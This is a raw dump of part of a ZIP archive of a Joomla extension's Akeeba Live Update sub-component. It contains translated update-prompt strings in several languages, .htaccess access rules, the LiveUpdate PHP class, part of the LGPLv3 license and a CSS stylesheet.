      Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." LIVEUPDATE_FTP="Πληροφορίες FTP" LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" LIVEUPDATE_ERROR="Σφάλμα" LIVEUPDATE_SUCCESS="Επιτυχία" LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ." LIVEUPDATE_RELEASEINFO="Πληροφορίες" LIVEUPDATE_RELEASENOTES="Σημειώσεις έκδοσης" LIVEUPDATE_READMOREINFO="Διαβάστε περισσότερα"PK@y>\)7components/com_csvi/liveupdate/language/da-DK/.htaccessnuW+A Order allow,deny Deny from all PK@y>\<Ɯ Bcomponents/com_csvi/liveupdate/language/da-DK/da-DK.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores hjemmeside manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstalleren." LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "Opdatér opdateringsinformation" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapportér dette problem." LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Overførsel's ID i komponenten's indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" LIVEUPDATE_CURRENTVERSION="Installeret version" LIVEUPDATE_LATESTVERSION="Seneste version" LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" LIVEUPDATE_DOWNLOADURL="Direkte link" LIVEUPDATE_REFRESH_INFO="Opdatér opdateringsinformation" LIVEUPDATE_DO_UPDATE="Opdatér til seneste version" LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne overføre og installere din opdatering, men du har ikke gemt en FTP log ind information i din Joomla!'s konfiguration.

      Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." LIVEUPDATE_FTP="FTP information" LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Overfør og installér opdatering" LIVEUPDATE_DOWNLOAD_FAILED="Overførsel af opdateringspakken fejlede. Vær venligst sikker på der kan skrives til din midlertidige mappe og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s konfiguration." LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdatér venligst udvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." LIVEUPDATE_INSTALLEXT="Installér %s %s" LIVEUPDATE_ERROR="Fejl" LIVEUPDATE_SUCCESS="Korrekt" LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" LIVEUPDATE_ICON_CURRENT="Du har den seneste version" LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."PK@y>\NQQBcomponents/com_csvi/liveupdate/language/de-DE/de-DE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by Niko Winckel - www.nik-o-mat.de LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung" LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "Aktualisierungsinformationen abrufen". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" LIVEUPDATE_CURRENTVERSION="Installierte Version" LIVEUPDATE_LATESTVERSION="Neueste Version" LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

      BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." LIVEUPDATE_FTP="FTP Informationen" LIVEUPDATE_FTPUSERNAME="FTP Benutzername" LIVEUPDATE_FTPPASSWORD="FTP Passwort" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." LIVEUPDATE_INSTALLEXT="Installiere %s %s" LIVEUPDATE_ERROR="Fehler" LIVEUPDATE_SUCCESS="Erfolg" LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN." LIVEUPDATE_RELEASEINFO="Information" LIVEUPDATE_RELEASENOTES="Infos zur Veröffentlichung" LIVEUPDATE_READMOREINFO="Weiterlesen"PK@y>\)7components/com_csvi/liveupdate/language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)7components/com_csvi/liveupdate/language/fi-FI/.htaccessnuW+A Order allow,deny Deny from all PK@y>\u$ $ Bcomponents/com_csvi/liveupdate/language/fi-FI/fi-FI.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update ei ole tuettu tällä palvelimella" LIVEUPDATE_NOTSUPPORTED_INFO="Palvelimesi mukaan Live Update ei ole tuettu. Ota yhteyttä palveluntarjoajaasi ja pyydä heitä ottamaan cURL PHP laajennus tai URL fopen() lisätoiminnot käyttöön. Jos nämä ovat jo käytössä, pyydä heitä muuttamaan palomuurinsa asetuksia niin, että se sallii yhteydet seuraavaan osoitteeseen:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Voit aina päivittää %s lisäosan käymällä sivustollamme, lataamalla viimeisimmän version ja asentamalla sen Joomla! lisäosien asennuksella." LIVEUPDATE_STUCK_HEAD="Live Update on havainnut kaatuneensa" LIVEUPDATE_STUCK_INFO="Live Update on havainnut, että se kaatui edellisellä kerralla päivitystä hakiessaan. Yleensä tämä johtuu palvelimestä, joka pyrkii estämään yhteydet muille palvelimille. Jos haluat yrittää päivitystietojen hakemista uudelleen, napsauta "Päivitä päivitystiedot" painiketta. Jos tästä seuraa tyhjä sivu, ota yhteyttä palveluntarjoajaasi ja ilmoita ongelmasta." LIVEUPDATE_ERROR_NEEDSAUTH="Sinun täytyy syöttää pyydetty käyttäjätunniste komponentin asetuksissa ennenkuin voit päivittää viimeisimpään versioon. Päivityspainike pysyy estettynä siihen asti." LIVEUPDATE_HASUPDATES_HEAD="Uusi versio on saatavilla" LIVEUPDATE_NOUPDATES_HEAD="Sinulla on jo uusin versio" LIVEUPDATE_CURRENTVERSION="Asennettu versio" LIVEUPDATE_LATESTVERSION="Uusin versio" LIVEUPDATE_LATESTRELEASED="Uusimman julkaisupäivä" LIVEUPDATE_DOWNLOADURL="Suora latauslinkki" LIVEUPDATE_REFRESH_INFO="Päivitä päivitystiedot" LIVEUPDATE_DO_UPDATE="Päivitä uusimpaan versioon" LIVEUPDATE_FTP_REQUIRED="Live Update havaitsi, että se tarvitsee FTP yhteyden ladatakseen päivityksesi, mutta FTP tietoja ei ole asetettu Joomla! asetuksissa.

      Syötä FTP tunnus ja salasana päivittääksesi." LIVEUPDATE_FTP="FTP tiedot" LIVEUPDATE_FTPUSERNAME="FTP käyttäjänimi" LIVEUPDATE_FTPPASSWORD="FTP salasana" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Lataa ja asenna päivitys" LIVEUPDATE_DOWNLOAD_FAILED="Päivityspaketin lataaminen epäonnistui. Varmista, että temp-kansioom voi kirjoittaa tai Joomla! FTP toiminnot on sallittu sivuston asetuksissa." LIVEUPDATE_EXTRACT_FAILED="Päivityspaketin purkaminen epäonnistui. Yritä päivittää lisäosa manuaalisesti." LIVEUPDATE_INVALID_PACKAGE_TYPE="Paketin tyyppi ei kelpaa. Päivitystä ei voida tehdä." LIVEUPDATE_INSTALLEXT="Asenna %s %s" LIVEUPDATE_ERROR="Virhe" LIVEUPDATE_SUCCESS="Onnistui" LIVEUPDATE_ICON_UNSUPPORTED="Live Update ei tuettu" LIVEUPDATE_ICON_CRASHED="Live Update kaatui" LIVEUPDATE_ICON_CURRENT="Sinulla on uusin versio" LIVEUPDATE_ICON_UPDATES="Päivitys löydetty! Napsauta päivittääksesi." LIVEUPDATE_RELEASEINFO="Tietoja" LIVEUPDATE_RELEASENOTES="Julkaisutiedot" LIVEUPDATE_READMOREINFO="Lue lisää"PK@y>\`wכ Bcomponents/com_csvi/liveupdate/language/nb-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Direkteoppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Direkteoppdatering støttes ikke på denne serveren." LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at direkteoppdatering ikke støttes. Kontakt din leverandør og spør om de kan aktivere cURL PHP eller aktivere URL fopen(). Dersom disse allerede er aktivert kan du spørre om de kan konfigurere sin brannmur slik at den gir tilgang til følgende URL:" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere %s manuelt ved å besøke vår side. Laste ned og installer den nyeste versjonen ved hjelp av Joomlas installasjonsfunksjon." LIVEUPDATE_STUCK_HEAD="Direkteoppdateringen har merket seg selv som krasjet." LIVEUPDATE_STUCK_INFO="Direkteoppdatering avdekket at den krasjet forrige gang den forsøkte å kontakte oppdateringsserveren. Dette betyr vanligvis at du benytter en leverandør av netthotell som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å forsøke på nytt å hente oppdateringsinformasjonen, klikk på knappen "_QQ_"Oppdater informasjon"_QQ_" nedenfor. Dersom dette resulterer i en blank side bør du kontakte din leverandør av netthotell for å melde fra om dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi ditt brukernavn/passord eller nedlastnings-id i komponentens innstillinger før du forsøker å oppdatere til siste versjon. Oppdateringsknappen vil forbli deaktivert inntil du gjøre dette." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater informasjon" LIVEUPDATE_DO_UPDATE="Oppdater til siste versjon" LIVEUPDATE_FTP_REQUIRED="Direkteoppdatering har avdekket at den må bruke FTP, for å laste ned og installere oppdateringen, men du har ikke angitt og lagret FTP-informasjonen under nettstedets globale konfigurasjon .

      Du må oppgi FTP-brukernavn og passord nedenfor for å kunne fortsette med oppdateringen." LIVEUPDATE_FTP="FTP-informasjon" LIVEUPDATE_FTPUSERNAME="FTP-brukernavn" LIVEUPDATE_FTPPASSWORD="FTP-passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringspakke mislyktes. Påse at temp-mappen er skrivbar, eller at du har aktivert Joomlas FTP-innstillinger under nettstedets globale konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Forsøk å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Direkteoppdatering støttes ikke." LIVEUPDATE_ICON_CRASHED="Direkteoppdatering krasjet." LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen." LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PK@y>\)7components/com_csvi/liveupdate/language/nb-NO/.htaccessnuW+A Order allow,deny Deny from all PK@y>\- Bcomponents/com_csvi/liveupdate/language/pt-BR/pt-BR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by gnumax - www.gnumax.org - 15-05-2011 LIVEUPDATE_TASK_OVERVIEW="Actualização ao vivo" LIVEUPDATE_NOTSUPPORTED_HEAD="A atualização ao vivo não esta suportada neste servidor" LIVEUPDATE_NOTSUPPORTED_INFO="O servidor indica que Atualização ao Vivo não é compatível. Entre em contato com seu Hosting e solicite que permitam a extensão cURL PHP ou desativem o URL fopen(). Se estão já desabilitadas, por favor, solicite que configurem seu firewall para que permita o acesso do seguinte endereço URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sempre é possível atualizar %s, visite nosso site manualmente, baixe a última versão e instale usando o instalador de extensões Joomla!." LIVEUPDATE_STUCK_HEAD="Actualização ao Vivo marcou como se danificou" LIVEUPDATE_STUCK_INFO="Live Update determinou que foi danificado a última vez que tratou de contatar com o servidor de atualizações. Isto d emodo geral indica uma série de bloqueios ativos de comunicação com sites externos. Se deseja voltar a tentar buscar a informação de atualização, por favor clique em 'Atualizar informação de atualização' no botão abaixo. Em caso de ontér uma página em branco como resultado, por favor contate com seu Hosting e informe sobre este tema." LIVEUPDATE_ERROR_NEEDSAUTH="Tem que facilitar seu nome de usuário/senha ou ID de download nos parâmetros do componente antes de tentar atualizar a última versão. O botão de atualização permanecerá desativado até que não realize esta ação." LIVEUPDATE_HASUPDATES_HEAD="Existe uma versão nova disponível" LIVEUPDATE_NOUPDATES_HEAD="Você já tem a última versão" LIVEUPDATE_CURRENTVERSION="Versão instalada" LIVEUPDATE_LATESTVERSION="Última versão" LIVEUPDATE_LATESTRELEASED="Data do último lançamento" LIVEUPDATE_DOWNLOADURL="URL de download direto" LIVEUPDATE_REFRESH_INFO="Refrescar a informação de atualização" LIVEUPDATE_DO_UPDATE="Atualizar a última versão" LIVEUPDATE_FTP_REQUIRED="Live Update determina que é necessário o uso de FTP para baixar e instalar a atualização, mas não guardou sua informação de acesso FTP em seu site Joomla!, em Configuração Global.

      Indique o nome de usuário FTP e senha para continuar com a atualização." LIVEUPDATE_FTP="Informação FTP" LIVEUPDATE_FTPUSERNAME="Usuário FTP" LIVEUPDATE_FTPPASSWORD="Senha FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Baixar e instalar a atualização" LIVEUPDATE_DOWNLOAD_FAILED="O download do pacote de atualização falhou. Assegure-se que seu diretório /tmp pode escrever ou que habilitou as opções de FTP na Configuração Global do seu site Joomla!" LIVEUPDATE_EXTRACT_FAILED="Falhou a descompressão do pacote de atualização. Por favor, tente atualizar a extensão manualmente." LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de pacote não é válido. A atualização não pode continuar." LIVEUPDATE_INSTALLEXT="Instale %s %s" LIVEUPDATE_ERROR="Erro" LIVEUPDATE_SUCCESS="Êxito" LIVEUPDATE_ICON_UNSUPPORTED="Atualização ao Vivo não suportadactualización en Vivo no soportada" LIVEUPDATE_ICON_CRASHED="Atualização ao Vivo foi danificada" LIVEUPDATE_ICON_CURRENT="Você tem a última versão" LIVEUPDATE_ICON_UPDATES="ATUALIZAÇÃO ENCONTRADA! CLIQUE PARA ATUALIZAR." LIVEUPDATE_RELEASEINFO="Informações" LIVEUPDATE_RELEASENOTES="Notas de lançamento" LIVEUPDATE_READMOREINFO="Leia mais"PK@y>\)7components/com_csvi/liveupdate/language/pt-BR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\=u JJ-components/com_csvi/liveupdate/liveupdate.phpnuW+A * * One-click updater for Joomla! extensions * Copyright (C) 2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ defined('_JEXEC') or die(); require_once dirname(__FILE__).'/classes/abstractconfig.php'; require_once dirname(__FILE__).'/config.php'; class LiveUpdate { /** @var string The current version of Akeeba Live Update */ public static $version = '1.1'; /** * Loads the translation strings -- this is an internal function, called automatically */ private static function loadLanguage() { // Load translations $basePath = dirname(__FILE__); $jlang = JFactory::getLanguage(); $jlang->load('liveupdate', $basePath, 'en-GB', true); // Load English (British) $jlang->load('liveupdate', $basePath, $jlang->getDefault(), true); // Load the site's default language $jlang->load('liveupdate', $basePath, null, true); // Load the currently selected language } /** * Handles requests to the "liveupdate" view which is used to display * update information and perform the live updates */ public static function handleRequest() { // Load language strings self::loadLanguage(); // Load the controller and let it run the show require_once dirname(__FILE__).'/classes/controller.php'; $controller = new LiveUpdateController(); $controller->execute(JRequest::getCmd('task','overview')); $controller->redirect(); } /** * Returns update information about your extension, based on your configuration settings * @return stdClass */ public static function getUpdateInformation($force = false) { require_once dirname(__FILE__).'/classes/updatefetch.php'; $update = new LiveUpdateFetch(); $info = $update->getUpdateInformation($force); $hasUpdates = $update->hasUpdates(); $info->hasUpdates = $hasUpdates; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $info->extInfo = (object)$extInfo; return $info; } public static function getIcon($config=array()) { // Load language strings self::loadLanguage(); $defaultConfig = array( 'option' => JRequest::getCmd('option',''), 'view' => 'liveupdate', 'mediaurl' => JURI::base().'components/'.JRequest::getCmd('option','').'/liveupdate/assets/' ); $c = array_merge($defaultConfig, $config); $url = 'index.php?option='.$c['option'].'&view='.$c['view']; $img = $c['mediaurl']; $updateInfo = self::getUpdateInformation(); if(!$updateInfo->supported) { // Unsupported $class = 'liveupdate-icon-notsupported'; $img .= 'nosupport-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_UNSUPPORTED'); } elseif($updateInfo->stuck) { // Stuck $class = 'liveupdate-icon-crashed'; $img .= 'nosupport-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_CRASHED'); } elseif($updateInfo->hasUpdates) { // Has updates $class = 'liveupdate-icon-updates'; $img .= 'update-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_UPDATES'); } else { // Already in the latest release $class = 'liveupdate-icon-noupdates'; $img .= 'current-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_CURRENT'); } return ''; } }PK@y>\?uu)components/com_csvi/liveupdate/index.htmlnuW+APK@y>\$_ *components/com_csvi/liveupdate/LICENSE.txtnuW+A============================================================================== Akeeba Live Update - One-click updates for Joomla! extensions Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com Live Update is a sub-component to assist you in providing one-click updates for your Joomla! 1.5 and Joomla! 1.6 extensions. It is licensed under the GNU Lesser General Public License version 3 or, at your option, any later version published by the Free Software Foundation. You can use it royalty- free in any Joomla! extension, Free or Proprietary. The full text of its license is provided below. ============================================================================== GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.PK@y>\}1%ZZ4components/com_csvi/liveupdate/assets/liveupdate.cssnuW+A/** * @package LiveUpdate * @copyright Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com * @license GNU LGPLv3 or later */ @CHARSET "UTF-8"; .icon-48-liveupdate { background-image: url(liveupdate-48.png) } var { font-style: italic; font-weight: bold; } p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } div.liveupdate-notsupported, div.liveupdate-stuck { border: thin solid #990000; background: #fff0f0; padding: 1em; color: #330000; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } div.liveupdate-notsupported h3, div.liveupdate-stuck h3 { background: transparent url("fail-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: red; text-shadow: 1px 1px 6px #cccc00; } div.liveupdate-hasupdates { border: thin solid #999900; background: #fffff0; padding: 1em; color: #333300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #ff8; -webkit-box-shadow: 5px 5px 5px #ff8; box-shadow: 5px 5px 5px #ff8; } div.liveupdate-hasupdates h3 { background: transparent url("warn-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #660; text-shadow: 1px 1px 6px #ffff00; } div.liveupdate-noupdates { border: thin solid #009900; background: 